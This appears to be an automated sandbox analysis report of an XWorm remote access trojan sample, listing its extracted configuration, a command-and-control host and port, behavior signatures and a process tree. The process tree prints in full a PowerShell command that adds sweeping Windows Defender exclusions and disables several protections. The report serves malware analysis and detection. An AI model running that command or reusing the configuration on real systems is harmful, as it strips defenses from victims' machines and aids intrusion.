Analysis
- max time kernel
149s - max time network
95s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
03/05/2026, 22:29
General
- Target Client.exe
- Size 36KB
- Sample260503-2d99mac15p
- SHA256 51f474976b30fa68716262f4183103205ecf1338223ec0a45377b00736265158
Malware Config
Extracted
-
xworm
-
5.0
-
XSPY @YourMrSan:19870
-
gruZDSFFizU3HGKV8+j2H==
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- UAC bypass 3 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
- System policy modification 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"1⤵
- UAC bypass
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Program Files'; Add-MpPreference -ExclusionPath 'C:\Windows\system32'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'; Add-MpPreference -ExclusionPath 'C:\Windows\System32\config'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\ProgramData'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\Client.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\System32\fodhelper.exe'; Add-MpPreference -ExclusionProcess 'powershell.exe'; Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionExtension '.bat'; Add-MpPreference -ExclusionExtension '.vbs'; Add-MpPreference -ExclusionExtension '.vbe'; Add-MpPreference -ExclusionExtension '.lnk'; Set-MpPreference -ScanScheduleDay 8; Set-MpPreference -HighThreatDefaultAction 6 -Force; Set-MpPreference -ModerateThreatDefaultAction 6; Set-MpPreference -LowThreatDefaultAction 6; Set-MpPreference -SevereThreatDefaultAction 6; Set-MpPreference -EnableFullScanOnBatteryPower $false; Set-MpPreference -MAPSReporting 0; Set-MpPreference -SubmitSamplesConsent 2; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableCatchupFullScan $true; Set-MpPreference -DisableCatchupQuickScan $true; Set-MpPreference -DisablePrivacyMode $false; Set-MpPreference -EnableLowCpuPriority $true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_x5ipspq0.rc2.ps1
memory/992-21-0x000001A66D590000-0x000001A66D59A000-memory.dmp
memory/992-23-0x000001A66DAC0000-0x000001A66DACA000-memory.dmp
memory/992-3-0x000001A66D4B0000-0x000001A66D4C0000-memory.dmp
memory/992-9-0x000001A66D4C0000-0x000001A66D4E2000-memory.dmp
memory/992-30-0x000001A66B370000-0x000001A66B490000-memory.dmp
memory/992-11-0x000001A66D4B0000-0x000001A66D4C0000-memory.dmp
memory/992-19-0x000001A66D570000-0x000001A66D58C000-memory.dmp
memory/992-18-0x00007FF41BC20000-0x00007FF41BC30000-memory.dmp
memory/992-20-0x000001A66D7B0000-0x000001A66D863000-memory.dmp
memory/992-24-0x000001A66DB20000-0x000001A66DB3A000-memory.dmp
memory/992-2-0x000001A66D4B0000-0x000001A66D4C0000-memory.dmp
memory/992-22-0x000001A66DAE0000-0x000001A66DAFC000-memory.dmp
memory/992-32-0x000001A66CF90000-0x000001A66CFA2000-memory.dmp
memory/992-25-0x000001A66DAD0000-0x000001A66DAD8000-memory.dmp
memory/992-26-0x000001A66DB00000-0x000001A66DB06000-memory.dmp
memory/992-27-0x000001A66DB10000-0x000001A66DB1A000-memory.dmp
memory/992-31-0x000001A66CDB0000-0x000001A66CDBC000-memory.dmp
memory/3408-0-0x0000000000040000-0x0000000000050000-memory.dmp
memory/3408-1-0x0000000000860000-0x0000000000870000-memory.dmp
memory/3408-33-0x0000000000860000-0x0000000000870000-memory.dmp
memory/3408-34-0x0000000000870000-0x000000000087C000-memory.dmp
memory/3408-35-0x0000000000890000-0x0000000000899000-memory.dmp